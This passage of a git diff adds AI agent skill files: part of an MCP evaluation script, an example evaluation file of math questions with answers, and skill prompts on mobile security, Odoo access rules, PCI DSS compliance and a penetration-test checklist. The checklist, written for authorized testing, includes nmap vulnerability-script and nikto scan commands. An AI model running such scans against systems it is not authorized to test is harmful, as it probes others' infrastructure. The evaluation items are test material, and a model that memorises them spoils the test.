variable: {env_var}") + return env + + +async def main(): + parser = argparse.ArgumentParser( + description="Evaluate MCP servers using test questions", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: + # Evaluate a local stdio MCP server + python evaluation.py -t stdio -c python -a my_server.py eval.xml + + # Evaluate an SSE MCP server + python evaluation.py -t sse -u https://example.com/mcp -H "Authorization: Bearer token" eval.xml + + # Evaluate an HTTP MCP server with custom model + python evaluation.py -t http -u https://example.com/mcp -m claude-3-5-sonnet-20241022 eval.xml + """, + ) + + parser.add_argument("eval_file", type=Path, help="Path to evaluation XML file") + parser.add_argument("-t", "--transport", choices=["stdio", "sse", "http"], default="stdio", help="Transport type (default: stdio)") + parser.add_argument("-m", "--model", default="claude-3-7-sonnet-20250219", help="Claude model to use (default: claude-3-7-sonnet-20250219)") + + stdio_group = parser.add_argument_group("stdio options") + stdio_group.add_argument("-c", "--command", help="Command to run MCP server (stdio only)") + stdio_group.add_argument("-a", "--args", nargs="+", help="Arguments for the command (stdio only)") + stdio_group.add_argument("-e", "--env", nargs="+", help="Environment variables in KEY=VALUE format (stdio only)") + + remote_group = parser.add_argument_group("sse/http options") + remote_group.add_argument("-u", "--url", help="MCP server URL (sse/http only)") + remote_group.add_argument("-H", "--header", nargs="+", dest="headers", help="HTTP headers in 'Key: Value' format (sse/http only)") + + parser.add_argument("-o", "--output", type=Path, help="Output file for evaluation report (default: stdout)") + + args = parser.parse_args() + + if not args.eval_file.exists(): + print(f"Error: Evaluation file not found: {args.eval_file}") + sys.exit(1) + + headers = parse_headers(args.headers) if args.headers else None + env_vars = parse_env_vars(args.env) if args.env else None + + try: + connection = create_connection( + transport=args.transport, + command=args.command, + args=args.args, + env=env_vars, + url=args.url, + headers=headers, + ) + except ValueError as e: + print(f"Error: {e}") + sys.exit(1) + + print(f"🔗 Connecting to MCP server via {args.transport}...") + + async with connection: + print("✅ Connected successfully") + report = await run_evaluation(args.eval_file, connection, args.model) + + if args.output: + args.output.write_text(report) + print(f"\n✅ Report saved to {args.output}") + else: + print("\n" + report) + + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/skills/mcp-builder/scripts/example_evaluation.xml b/skills/mcp-builder/scripts/example_evaluation.xml new file mode 100644 index 0000000000000000000000000000000000000000..41e4459b5af861e61f1ca87d2f8f5ab5543dc054 --- /dev/null +++ b/skills/mcp-builder/scripts/example_evaluation.xml @@ -0,0 +1,22 @@ + + + Calculate the compound interest on $10,000 invested at 5% annual interest rate, compounded monthly for 3 years. What is the final amount in dollars (rounded to 2 decimal places)? + 11614.72 + + + A projectile is launched at a 45-degree angle with an initial velocity of 50 m/s. Calculate the total distance (in meters) it has traveled from the launch point after 2 seconds, assuming g=9.8 m/s². Round to 2 decimal places. + 87.25 + + + A sphere has a volume of 500 cubic meters. Calculate its surface area in square meters. Round to 2 decimal places. + 304.65 + + + Calculate the population standard deviation of this dataset: [12, 15, 18, 22, 25, 30, 35]. Round to 2 decimal places. + 7.61 + + + Calculate the pH of a solution with a hydrogen ion concentration of 3.5 × 10^-5 M. Round to 2 decimal places. + 4.46 + + diff --git a/skills/mcp-builder/scripts/requirements.txt b/skills/mcp-builder/scripts/requirements.txt new file mode 100644 index 0000000000000000000000000000000000000000..e73e5d1e356edafadb9dc9243e6f300f2c5529b3 --- /dev/null +++ b/skills/mcp-builder/scripts/requirements.txt @@ -0,0 +1,2 @@ +anthropic>=0.39.0 +mcp>=1.1.0 diff --git a/skills/mobile-security-coder/SKILL.md b/skills/mobile-security-coder/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..adc9ae75cc868675d2979e753a01a11bece7b7b1 --- /dev/null +++ b/skills/mobile-security-coder/SKILL.md @@ -0,0 +1,187 @@ +--- +name: mobile-security-coder +description: Expert in secure mobile coding practices specializing in input validation, WebView security, and mobile-specific security patterns. +risk: unknown +source: community +date_added: '2026-02-27' +--- + +## Use this skill when + +- Working on mobile security coder tasks or workflows +- Needing guidance, best practices, or checklists for mobile security coder + +## Do not use this skill when + +- The task is unrelated to mobile security coder +- You need a different domain or tool outside this scope + +## Instructions + +- Clarify goals, constraints, and required inputs. +- Apply relevant best practices and validate outcomes. +- Provide actionable steps and verification. +- If detailed examples are required, open `resources/implementation-playbook.md`. + +You are a mobile security coding expert specializing in secure mobile development practices, mobile-specific vulnerabilities, and secure mobile architecture patterns. + +## Purpose +Expert mobile security developer with comprehensive knowledge of mobile security practices, platform-specific vulnerabilities, and secure mobile application development. Masters input validation, WebView security, secure data storage, and mobile authentication patterns. Specializes in building security-first mobile applications that protect sensitive data and resist mobile-specific attack vectors. + +## When to Use vs Security Auditor +- **Use this agent for**: Hands-on mobile security coding, implementation of secure mobile patterns, mobile-specific vulnerability fixes, WebView security configuration, mobile authentication implementation +- **Use security-auditor for**: High-level security audits, compliance assessments, DevSecOps pipeline design, threat modeling, security architecture reviews, penetration testing planning +- **Key difference**: This agent focuses on writing secure mobile code, while security-auditor focuses on auditing and assessing security posture + +## Capabilities + +### General Secure Coding Practices +- **Input validation and sanitization**: Mobile-specific input validation, touch input security, gesture validation +- **Injection attack prevention**: SQL injection in mobile databases, NoSQL injection, command injection in mobile contexts +- **Error handling security**: Secure error messages on mobile, crash reporting security, debug information protection +- **Sensitive data protection**: Mobile data classification, secure storage patterns, memory protection +- **Secret management**: Mobile credential storage, keychain/keystore integration, biometric-protected secrets +- **Output encoding**: Context-aware encoding for mobile UI, WebView content encoding, push notification security + +### Mobile Data Storage Security +- **Secure local storage**: SQLite encryption, Core Data protection, Realm security configuration +- **Keychain and Keystore**: Secure credential storage, biometric authentication integration, key derivation +- **File system security**: Secure file operations, directory permissions, temporary file cleanup +- **Cache security**: Secure caching strategies, cache encryption, sensitive data exclusion +- **Backup security**: Backup exclusion for sensitive files, encrypted backup handling, cloud backup protection +- **Memory protection**: Memory dump prevention, secure memory allocation, buffer overflow protection + +### WebView Security Implementation +- **URL allowlisting**: Trusted domain restrictions, URL validation, protocol enforcement (HTTPS) +- **JavaScript controls**: JavaScript disabling by default, selective JavaScript enabling, script injection prevention +- **Content Security Policy**: CSP implementation in WebViews, script-src restrictions, unsafe-inline prevention +- **Cookie and session management**: Secure cookie handling, session isolation, cross-WebView security +- **File access restrictions**: Local file access prevention, asset loading security, sandboxing +- **User agent security**: Custom user agent strings, fingerprinting prevention, privacy protection +- **Data cleanup**: Regular WebView cache and cookie clearing, session data cleanup, temporary file removal + +### HTTPS and Network Security +- **TLS enforcement**: HTTPS-only communication, certificate pinning, SSL/TLS configuration +- **Certificate validation**: Certificate chain validation, self-signed certificate rejection, CA trust management +- **Man-in-the-middle protection**: Certificate pinning implementation, network security monitoring +- **Protocol security**: HTTP Strict Transport Security, secure protocol selection, downgrade protection +- **Network error handling**: Secure network error messages, connection failure handling, retry security +- **Proxy and VPN detection**: Network environment validation, security policy enforcement + +### Mobile Authentication and Authorization +- **Biometric authentication**: Touch ID, Face ID, fingerprint authentication, fallback mechanisms +- **Multi-factor authentication**: TOTP integration, hardware token support, SMS-based 2FA security +- **OAuth implementation**: Mobile OAuth flows, PKCE implementation, deep link security +- **JWT handling**: Secure token storage, token refresh mechanisms, token validation +- **Session management**: Mobile session lifecycle, background/foreground transitions, session timeout +- **Device binding**: Device fingerprinting, hardware-based authentication, root/jailbreak detection + +### Platform-Specific Security +- **iOS security**: Keychain Services, App Transport Security, iOS permission model, sandboxing +- **Android security**: Android Keystore, Network Security Config, permission handling, ProGuard/R8 obfuscation +- **Cross-platform considerations**: React Native security, Flutter security, Xamarin security patterns +- **Native module security**: Bridge security, native code validation, memory safety +- **Permission management**: Runtime permissions, privacy permissions, location/camera access security +- **App lifecycle security**: Background/foreground transitions, app state protection, memory clearing + +### API and Backend Communication +- **API security**: Mobile API authentication, rate limiting, request validation +- **Request/response validation**: Schema validation, data type enforcement, size limits +- **Secure headers**: Mobile-specific security headers, CORS handling, content type validation +- **Error response handling**: Secure error messages, information leakage prevention, debug mode protection +- **Offline synchronization**: Secure data sync, conflict resolution security, cached data protection +- **Push notification security**: Secure notification handling, payload encryption, token management + +### Code Protection and Obfuscation +- **Code obfuscation**: ProGuard, R8, iOS obfuscation, symbol stripping +- **Anti-tampering**: Runtime application self-protection (RASP), integrity checks, debugger detection +- **Root/jailbreak detection**: Device security validation, security policy enforcement, graceful degradation +- **Binary protection**: Anti-reverse engineering, packing, dynamic analysis prevention +- **Asset protection**: Resource encryption, embedded asset security, intellectual property protection +- **Debug protection**: Debug mode detection, development feature disabling, production hardening + +### Mobile-Specific Vulnerabilities +- **Deep link security**: URL scheme validation, intent filter security, parameter sanitization +- **WebView vulnerabilities**: JavaScript bridge security, file scheme access, universal XSS prevention +- **Data leakage**: Log sanitization, screenshot protection, memory dump prevention +- **Side-channel attacks**: Timing attack prevention, cache-based attacks, acoustic/electromagnetic leakage +- **Physical device security**: Screen recording prevention, screenshot blocking, shoulder surfing protection +- **Backup and recovery**: Secure backup handling, recovery key management, data restoration security + +### Cross-Platform Security +- **React Native security**: Bridge security, native module validation, JavaScript thread protection +- **Flutter security**: Platform channel security, native plugin validation, Dart VM protection +- **Xamarin security**: Managed/native interop security, assembly protection, runtime security +- **Cordova/PhoneGap**: Plugin security, WebView configuration, native bridge protection +- **Unity mobile**: Asset bundle security, script compilation security, native plugin integration +- **Progressive Web Apps**: PWA security on mobile, service worker security, web manifest validation + +### Privacy and Compliance +- **Data privacy**: GDPR compliance, CCPA compliance, data minimization, consent management +- **Location privacy**: Location data protection, precise location limiting, background location security +- **Biometric data**: Biometric template protection, privacy-preserving authentication, data retention +- **Personal data handling**: PII protection, data encryption, access logging, data deletion +- **Third-party SDKs**: SDK privacy assessment, data sharing controls, vendor security validation +- **Analytics privacy**: Privacy-preserving analytics, data anonymization, opt-out mechanisms + +### Testing and Validation +- **Security testing**: Mobile penetration testing, SAST/DAST for mobile, dynamic analysis +- **Runtime protection**: Runtime application self-protection, behavior monitoring, anomaly detection +- **Vulnerability scanning**: Dependency scanning, known vulnerability detection, patch management +- **Code review**: Security-focused code review, static analysis integration, peer review processes +- **Compliance testing**: Security standard compliance, regulatory requirement validation, audit preparation +- **User acceptance testing**: Security scenario testing, social engineering resistance, user education + +## Behavioral Traits +- Validates and sanitizes all inputs including touch gestures and sensor data +- Enforces HTTPS-only communication with certificate pinning +- Implements comprehensive WebView security with JavaScript disabled by default +- Uses secure storage mechanisms with encryption and biometric protection +- Applies platform-specific security features and follows security guidelines +- Implements defense-in-depth with multiple security layers +- Protects against mobile-specific threats like root/jailbreak detection +- Considers privacy implications in all data handling operations +- Uses secure coding practices for cross-platform development +- Maintains security throughout the mobile app lifecycle + +## Knowledge Base +- Mobile security frameworks and best practices (OWASP MASVS) +- Platform-specific security features (iOS/Android security models) +- WebView security configuration and CSP implementation +- Mobile authentication and biometric integration patterns +- Secure data storage and encryption techniques +- Network security and certificate pinning implementation +- Mobile-specific vulnerability patterns and prevention +- Cross-platform security considerations +- Privacy regulations and compliance requirements +- Mobile threat landscape and attack vectors + +## Response Approach +1. **Assess mobile security requirements** including platform constraints and threat model +2. **Implement input validation** with mobile-specific considerations and touch input security +3. **Configure WebView security** with HTTPS enforcement and JavaScript controls +4. **Set up secure data storage** with encryption and platform-specific protection mechanisms +5. **Implement authentication** with biometric integration and multi-factor support +6. **Configure network security** with certificate pinning and HTTPS enforcement +7. **Apply code protection** with obfuscation and anti-tampering measures +8. **Handle privacy compliance** with data protection and consent management +9. **Test security controls** with mobile-specific testing tools and techniques + +## Example Interactions +- "Implement secure WebView configuration with HTTPS enforcement and CSP" +- "Set up biometric authentication with secure fallback mechanisms" +- "Create secure local storage with encryption for sensitive user data" +- "Implement certificate pinning for API communication security" +- "Configure deep link security with URL validation and parameter sanitization" +- "Set up root/jailbreak detection with graceful security degradation" +- "Implement secure cross-platform data sharing between native and WebView" +- "Create privacy-compliant analytics with data minimization and consent" +- "Implement secure React Native bridge communication with input validation" +- "Configure Flutter platform channel security with message validation" +- "Set up secure Xamarin native interop with assembly protection" +- "Implement secure Cordova plugin communication with sandboxing" + +## Limitations +- Use this skill only when the task clearly matches the scope described above. +- Do not treat the output as a substitute for environment-specific validation, testing, or expert review. +- Stop and ask for clarification if required inputs, permissions, safety boundaries, or success criteria are missing. diff --git a/skills/odoo-security-rules/SKILL.md b/skills/odoo-security-rules/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..c14d0a1bd94af2c87379a58dc61ae78e4196bf22 --- /dev/null +++ b/skills/odoo-security-rules/SKILL.md @@ -0,0 +1,92 @@ +--- +name: odoo-security-rules +description: "Expert in Odoo access control: ir.model.access.csv, record rules (ir.rule), groups, and multi-company security patterns." +risk: safe +source: "self" +--- + +# Odoo Security Rules + +## Overview + +Security in Odoo is managed at two levels: **model-level access** (who can read/write which models) and **record-level rules** (which records a user can see). This skill helps you write correct `ir.model.access.csv` entries and `ir.rule` domain-based record rules. + +## When to Use This Skill + +- Setting up access rights for a new custom module. +- Restricting records so users only see their own data or their company's data. +- Debugging "Access Denied" or "You are not allowed to access" errors. +- Implementing multi-company record visibility rules. + +## How It Works + +1. **Activate**: Mention `@odoo-security-rules` and describe the access scenario. +2. **Generate**: Get correct CSV access lines and XML record rules. +3. **Debug**: Paste an access error and get a diagnosis with the fix. + +## Examples + +### Example 1: ir.model.access.csv + +```csv +id,name,model_id:id,group_id:id,perm_read,perm_write,perm_create,perm_unlink +access_hospital_patient_user,hospital.patient.user,model_hospital_patient,base.group_user,1,0,0,0 +access_hospital_patient_manager,hospital.patient.manager,model_hospital_patient,base.group_erp_manager,1,1,1,1 +``` + +> **Note:** Use `base.group_erp_manager` for ERP managers, not `base.group_system` — that group is reserved for Odoo's technical superusers. Always create a custom group for module-specific manager roles: +> +> ```xml +> +> Hospital Manager +> +> +> ``` + +### Example 2: Record Rule — Users See Only Their Own Records + +```xml + + Hospital Patient: Own Records Only + + [('create_uid', '=', user.id)] + + + + + + +``` + +> **Important:** If you omit ``, the rule becomes **global** and applies to ALL users, including admins. Always assign a group unless you explicitly intend a global restriction. + +### Example 3: Multi-Company Record Rule + +```xml + + Hospital Patient: Multi-Company + + + ['|', ('company_id', '=', False), + ('company_id', 'in', company_ids)] + + + +``` + +## Best Practices + +- ✅ **Do:** Start with the most restrictive access and open up as needed. +- ✅ **Do:** Use `company_ids` (plural) in multi-company rules — it includes all companies the user belongs to. +- ✅ **Do:** Test rules using a non-admin user in debug mode — `sudo()` bypasses all record rules entirely. +- ✅ **Do:** Create dedicated security groups per module rather than reusing core Odoo groups. +- ❌ **Don't:** Give `perm_unlink = 1` to regular users unless deletion is explicitly required by the business process. +- ❌ **Don't:** Leave `group_id` blank in `ir.model.access.csv` unless you intend to grant public (unauthenticated) access. +- ❌ **Don't:** Use `base.group_system` for module managers — that grants full technical access including server configurations. + +## Limitations + +- Does not cover **field-level access control** (`ir.model.fields` read/write restrictions) — those require custom OWL or Python overrides. +- **Portal and public user** access rules have additional nuances not fully covered here; test carefully with `base.group_portal`. +- Record rules are **bypassed by `sudo()`** — any code running in superuser context ignores all `ir.rule` entries. +- Does not cover **row-level security via PostgreSQL** (RLS) — Odoo manages all security at the ORM layer. diff --git a/skills/pci-compliance/SKILL.md b/skills/pci-compliance/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..bb8fbd33b61bc2f06fcc4789cb999fb07facdf6a --- /dev/null +++ b/skills/pci-compliance/SKILL.md @@ -0,0 +1,486 @@ +--- +name: pci-compliance +description: "Master PCI DSS (Payment Card Industry Data Security Standard) compliance for secure payment processing and handling of cardholder data." +risk: unknown +source: community +date_added: "2026-02-27" +--- + +# PCI Compliance + +Master PCI DSS (Payment Card Industry Data Security Standard) compliance for secure payment processing and handling of cardholder data. + +## Do not use this skill when + +- The task is unrelated to pci compliance +- You need a different domain or tool outside this scope + +## Instructions + +- Clarify goals, constraints, and required inputs. +- Apply relevant best practices and validate outcomes. +- Provide actionable steps and verification. +- If detailed examples are required, open `resources/implementation-playbook.md`. + +## Use this skill when + +- Building payment processing systems +- Handling credit card information +- Implementing secure payment flows +- Conducting PCI compliance audits +- Reducing PCI compliance scope +- Implementing tokenization and encryption +- Preparing for PCI DSS assessments + +## PCI DSS Requirements (12 Core Requirements) + +### Build and Maintain Secure Network +1. Install and maintain firewall configuration +2. Don't use vendor-supplied defaults for passwords + +### Protect Cardholder Data +3. Protect stored cardholder data +4. Encrypt transmission of cardholder data across public networks + +### Maintain Vulnerability Management +5. Protect systems against malware +6. Develop and maintain secure systems and applications + +### Implement Strong Access Control +7. Restrict access to cardholder data by business need-to-know +8. Identify and authenticate access to system components +9. Restrict physical access to cardholder data + +### Monitor and Test Networks +10. Track and monitor all access to network resources and cardholder data +11. Regularly test security systems and processes + +### Maintain Information Security Policy +12. Maintain a policy that addresses information security + +## Compliance Levels + +**Level 1**: > 6 million transactions/year (annual ROC required) +**Level 2**: 1-6 million transactions/year (annual SAQ) +**Level 3**: 20,000-1 million e-commerce transactions/year +**Level 4**: < 20,000 e-commerce or < 1 million total transactions + +## Data Minimization (Never Store) + +```python +# NEVER STORE THESE +PROHIBITED_DATA = { + 'full_track_data': 'Magnetic stripe data', + 'cvv': 'Card verification code/value', + 'pin': 'PIN or PIN block' +} + +# CAN STORE (if encrypted) +ALLOWED_DATA = { + 'pan': 'Primary Account Number (card number)', + 'cardholder_name': 'Name on card', + 'expiration_date': 'Card expiration', + 'service_code': 'Service code' +} + +class PaymentData: + """Safe payment data handling.""" + + def __init__(self): + self.prohibited_fields = ['cvv', 'cvv2', 'cvc', 'pin'] + + def sanitize_log(self, data): + """Remove sensitive data from logs.""" + sanitized = data.copy() + + # Mask PAN + if 'card_number' in sanitized: + card = sanitized['card_number'] + sanitized['card_number'] = f"{card[:6]}{'*' * (len(card) - 10)}{card[-4:]}" + + # Remove prohibited data + for field in self.prohibited_fields: + sanitized.pop(field, None) + + return sanitized + + def validate_no_prohibited_storage(self, data): + """Ensure no prohibited data is being stored.""" + for field in self.prohibited_fields: + if field in data: + raise SecurityError(f"Attempting to store prohibited field: {field}") +``` + +## Tokenization + +### Using Payment Processor Tokens +```python +import stripe + +class TokenizedPayment: + """Handle payments using tokens (no card data on server).""" + + @staticmethod + def create_payment_method_token(card_details): + """Create token from card details (client-side only).""" + # THIS SHOULD ONLY BE DONE CLIENT-SIDE WITH STRIPE.JS + # NEVER send card details to your server + + """ + // Frontend JavaScript + const stripe = Stripe('pk_...'); + + const {token, error} = await stripe.createToken({ + card: { + number: '4242424242424242', + exp_month: 12, + exp_year: 2024, + cvc: '123' + } + }); + + // Send token.id to server (NOT card details) + """ + pass + + @staticmethod + def charge_with_token(token_id, amount): + """Charge using token (server-side).""" + # Your server only sees the token, never the card number + stripe.api_key = "sk_..." + + charge = stripe.Charge.create( + amount=amount, + currency="usd", + source=token_id, # Token instead of card details + description="Payment" + ) + + return charge + + @staticmethod + def store_payment_method(customer_id, payment_method_token): + """Store payment method as token for future use.""" + stripe.Customer.modify( + customer_id, + source=payment_method_token + ) + + # Store only customer_id and payment_method_id in your database + # NEVER store actual card details + return { + 'customer_id': customer_id, + 'has_payment_method': True + # DO NOT store: card number, CVV, etc. + } +``` + +### Custom Tokenization (Advanced) +```python +import secrets +from cryptography.fernet import Fernet + +class TokenVault: + """Secure token vault for card data (if you must store it).""" + + def __init__(self, encryption_key): + self.cipher = Fernet(encryption_key) + self.vault = {} # In production: use encrypted database + + def tokenize(self, card_data): + """Convert card data to token.""" + # Generate secure random token + token = secrets.token_urlsafe(32) + + # Encrypt card data + encrypted = self.cipher.encrypt(json.dumps(card_data).encode()) + + # Store token -> encrypted data mapping + self.vault[token] = encrypted + + return token + + def detokenize(self, token): + """Retrieve card data from token.""" + encrypted = self.vault.get(token) + if not encrypted: + raise ValueError("Token not found") + + # Decrypt + decrypted = self.cipher.decrypt(encrypted) + return json.loads(decrypted.decode()) + + def delete_token(self, token): + """Remove token from vault.""" + self.vault.pop(token, None) +``` + +## Encryption + +### Data at Rest +```python +from cryptography.hazmat.primitives.ciphers.aead import AESGCM +import os + +class EncryptedStorage: + """Encrypt data at rest using AES-256-GCM.""" + + def __init__(self, encryption_key): + """Initialize with 256-bit key.""" + self.key = encryption_key # Must be 32 bytes + + def encrypt(self, plaintext): + """Encrypt data.""" + # Generate random nonce + nonce = os.urandom(12) + + # Encrypt + aesgcm = AESGCM(self.key) + ciphertext = aesgcm.encrypt(nonce, plaintext.encode(), None) + + # Return nonce + ciphertext + return nonce + ciphertext + + def decrypt(self, encrypted_data): + """Decrypt data.""" + # Extract nonce and ciphertext + nonce = encrypted_data[:12] + ciphertext = encrypted_data[12:] + + # Decrypt + aesgcm = AESGCM(self.key) + plaintext = aesgcm.decrypt(nonce, ciphertext, None) + + return plaintext.decode() + +# Usage +storage = EncryptedStorage(os.urandom(32)) +encrypted_pan = storage.encrypt("4242424242424242") +# Store encrypted_pan in database +``` + +### Data in Transit +```python +# Always use TLS 1.2 or higher +# Flask/Django example +app.config['SESSION_COOKIE_SECURE'] = True # HTTPS only +app.config['SESSION_COOKIE_HTTPONLY'] = True +app.config['SESSION_COOKIE_SAMESITE'] = 'Strict' + +# Enforce HTTPS +from flask_talisman import Talisman +Talisman(app, force_https=True) +``` + +## Access Control + +```python +from functools import wraps +from flask import session + +def require_pci_access(f): + """Decorator to restrict access to cardholder data.""" + @wraps(f) + def decorated_function(*args, **kwargs): + user = session.get('user') + + # Check if user has PCI access role + if not user or 'pci_access' not in user.get('roles', []): + return {'error': 'Unauthorized access to cardholder data'}, 403 + + # Log access attempt + audit_log( + user=user['id'], + action='access_cardholder_data', + resource=f.__name__ + ) + + return f(*args, **kwargs) + + return decorated_function + +@app.route('/api/payment-methods') +@require_pci_access +def get_payment_methods(): + """Retrieve payment methods (restricted access).""" + # Only accessible to users with pci_access role + pass +``` + +## Audit Logging + +```python +import logging +from datetime import datetime + +class PCIAuditLogger: + """PCI-compliant audit logging.""" + + def __init__(self): + self.logger = logging.getLogger('pci_audit') + # Configure to write to secure, append-only log + + def log_access(self, user_id, resource, action, result): + """Log access to cardholder data.""" + entry = { + 'timestamp': datetime.utcnow().isoformat(), + 'user_id': user_id, + 'resource': resource, + 'action': action, + 'result': result, + 'ip_address': request.remote_addr + } + + self.logger.info(json.dumps(entry)) + + def log_authentication(self, user_id, success, method): + """Log authentication attempt.""" + entry = { + 'timestamp': datetime.utcnow().isoformat(), + 'user_id': user_id, + 'event': 'authentication', + 'success': success, + 'method': method, + 'ip_address': request.remote_addr + } + + self.logger.info(json.dumps(entry)) + +# Usage +audit = PCIAuditLogger() +audit.log_access(user_id=123, resource='payment_methods', action='read', result='success') +``` + +## Security Best Practices + +### Input Validation +```python +import re + +def validate_card_number(card_number): + """Validate card number format (Luhn algorithm).""" + # Remove spaces and dashes + card_number = re.sub(r'[\s-]', '', card_number) + + # Check if all digits + if not card_number.isdigit(): + return False + + # Luhn algorithm + def luhn_checksum(card_num): + def digits_of(n): + return [int(d) for d in str(n)] + + digits = digits_of(card_num) + odd_digits = digits[-1::-2] + even_digits = digits[-2::-2] + checksum = sum(odd_digits) + for d in even_digits: + checksum += sum(digits_of(d * 2)) + return checksum % 10 + + return luhn_checksum(card_number) == 0 + +def sanitize_input(user_input): + """Sanitize user input to prevent injection.""" + # Remove special characters + # Validate against expected format + # Escape for database queries + pass +``` + +## PCI DSS SAQ (Self-Assessment Questionnaire) + +### SAQ A (Least Requirements) +- E-commerce using hosted payment page +- No card data on your systems +- ~20 questions + +### SAQ A-EP +- E-commerce with embedded payment form +- Uses JavaScript to handle card data +- ~180 questions + +### SAQ D (Most Requirements) +- Store, process, or transmit card data +- Full PCI DSS requirements +- ~300 questions + +## Compliance Checklist + +```python +PCI_COMPLIANCE_CHECKLIST = { + 'network_security': [ + 'Firewall configured and maintained', + 'No vendor default passwords', + 'Network segmentation implemented' + ], + 'data_protection': [ + 'No storage of CVV, track data, or PIN', + 'PAN encrypted when stored', + 'PAN masked when displayed', + 'Encryption keys properly managed' + ], + 'vulnerability_management': [ + 'Anti-virus installed and updated', + 'Secure development practices', + 'Regular security patches', + 'Vulnerability scanning performed' + ], + 'access_control': [ + 'Access restricted by role', + 'Unique IDs for all users', + 'Multi-factor authentication', + 'Physical security measures' + ], + 'monitoring': [ + 'Audit logs enabled', + 'Log review process', + 'File integrity monitoring', + 'Regular security testing' + ], + 'policy': [ + 'Security policy documented', + 'Risk assessment performed', + 'Security awareness training', + 'Incident response plan' + ] +} +``` + +## Resources + +- **references/data-minimization.md**: Never store prohibited data +- **references/tokenization.md**: Tokenization strategies +- **references/encryption.md**: Encryption requirements +- **references/access-control.md**: Role-based access +- **references/audit-logging.md**: Comprehensive logging +- **assets/pci-compliance-checklist.md**: Complete checklist +- **assets/encrypted-storage.py**: Encryption utilities +- **scripts/audit-payment-system.sh**: Compliance audit script + +## Common Violations + +1. **Storing CVV**: Never store card verification codes +2. **Unencrypted PAN**: Card numbers must be encrypted at rest +3. **Weak Encryption**: Use AES-256 or equivalent +4. **No Access Controls**: Restrict who can access cardholder data +5. **Missing Audit Logs**: Must log all access to payment data +6. **Insecure Transmission**: Always use TLS 1.2+ +7. **Default Passwords**: Change all default credentials +8. **No Security Testing**: Regular penetration testing required + +## Reducing PCI Scope + +1. **Use Hosted Payments**: Stripe Checkout, PayPal, etc. +2. **Tokenization**: Replace card data with tokens +3. **Network Segmentation**: Isolate cardholder data environment +4. **Outsource**: Use PCI-compliant payment processors +5. **No Storage**: Never store full card details + +By minimizing systems that touch card data, you reduce compliance burden significantly. + +## Limitations +- Use this skill only when the task clearly matches the scope described above. +- Do not treat the output as a substitute for environment-specific validation, testing, or expert review. +- Stop and ask for clarification if required inputs, permissions, safety boundaries, or success criteria are missing. diff --git a/skills/pentest-checklist/SKILL.md b/skills/pentest-checklist/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..56857058f5ac1a0bdde0b9c8cfa0f457523d641f --- /dev/null +++ b/skills/pentest-checklist/SKILL.md @@ -0,0 +1,340 @@ +--- +name: pentest-checklist +description: "Provide a comprehensive checklist for planning, executing, and following up on penetration tests. Ensure thorough preparation, proper scoping, and effective remediation of discovered vulnerabilities." +risk: offensive +source: community +author: zebbern +date_added: "2026-02-27" +--- + +> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. + +# Pentest Checklist + +## Purpose + +Provide a comprehensive checklist for planning, executing, and following up on penetration tests. Ensure thorough preparation, proper scoping, and effective remediation of discovered vulnerabilities. + +## Inputs/Prerequisites + +- Clear business objectives for testing +- Target environment information +- Budget and timeline constraints +- Stakeholder contacts and authorization +- Legal agreements and scope documents + +## Outputs/Deliverables + +- Defined pentest scope and objectives +- Prepared testing environment +- Security monitoring data +- Vulnerability findings report +- Remediation plan and verification + +## Core Workflow + +### Phase 1: Scope Definition + +#### Define Objectives + +- [ ] **Clarify testing purpose** - Determine goals (find vulnerabilities, compliance, customer assurance) +- [ ] **Validate pentest necessity** - Ensure penetration test is the right solution +- [ ] **Align outcomes with objectives** - Define success criteria + +**Reference Questions:** +- Why are you doing this pentest? +- What specific outcomes do you expect? +- What will you do with the findings? + +#### Know Your Test Types + +| Type | Purpose | Scope | +|------|---------|-------| +| External Pentest | Assess external attack surface | Public-facing systems | +| Internal Pentest | Assess insider threat risk | Internal network | +| Web Application | Find application vulnerabilities | Specific applications | +| Social Engineering | Test human security | Employees, processes | +| Red Team | Full adversary simulation | Entire organization | + +#### Enumerate Likely Threats + +- [ ] **Identify high-risk areas** - Where could damage occur? +- [ ] **Assess data sensitivity** - What data could be compromised? +- [ ] **Review legacy systems** - Old systems often have vulnerabilities +- [ ] **Map critical assets** - Prioritize testing targets + +#### Define Scope + +- [ ] **List in-scope systems** - IPs, domains, applications +- [ ] **Define out-of-scope items** - Systems to avoid +- [ ] **Set testing boundaries** - What techniques are allowed? +- [ ] **Document exclusions** - Third-party systems, production data + +#### Budget Planning + +| Factor | Consideration | +|--------|---------------| +| Asset Value | Higher value = higher investment | +| Complexity | More systems = more time | +| Depth Required | Thorough testing costs more | +| Reputation Value | Brand-name firms cost more | + +**Budget Reality Check:** +- Cheap pentests often produce poor results +- Align budget with asset criticality +- Consider ongoing vs. one-time testing + +### Phase 2: Environment Preparation + +#### Prepare Test Environment + +- [ ] **Production vs. staging decision** - Determine where to test +- [ ] **Set testing limits** - No DoS on production +- [ ] **Schedule testing window** - Minimize business impact +- [ ] **Create test accounts** - Provide appropriate access levels + +**Environment Options:** +``` +Production - Realistic but risky +Staging - Safer but may differ from production +Clone - Ideal but resource-intensive +``` + +#### Run Preliminary Scans + +- [ ] **Execute vulnerability scanners** - Find known issues first +- [ ] **Fix obvious vulnerabilities** - Don't waste pentest time +- [ ] **Document existing issues** - Share with testers + +**Common Pre-Scan Tools:** +```bash +# Network vulnerability scan +nmap -sV --script vuln TARGET + +# Web vulnerability scan +nikto -h http://TARGET +``` + +#### Review Security Policy + +- [ ] **Verify compliance requirements** - GDPR, PCI-DSS, HIPAA +- [ ] **Document data handling rules** - Sensitive data procedures +- [ ] **Confirm legal authorization** - Get written permission + +#### Notify Hosting Provider + +- [ ] **Check provider policies** - What testing is allowed? +- [ ] **Submit authorization requests** - AWS, Azure, GCP requirements +- [ ] **Document approvals** - Keep records + +**Cloud Provider Policies:** +- AWS: https://aws.amazon.com/security/penetration-testing/ +- Azure: https://docs.microsoft.com/security/pentest +- GCP: https://cloud.google.com/security/overview + +#### Freeze Developments + +- [ ] **Stop deployments during testing** - Maintain consistent environment +- [ ] **Document current versions** - Record system states +- [ ] **Avoid critical patches** - Unless security emergency + +### Phase 3: Expertise Selection + +#### Find Qualified Pentesters + +- [ ] **Seek recommendations** - Ask trusted sources +- [ ] **Verify credentials** - OSCP, 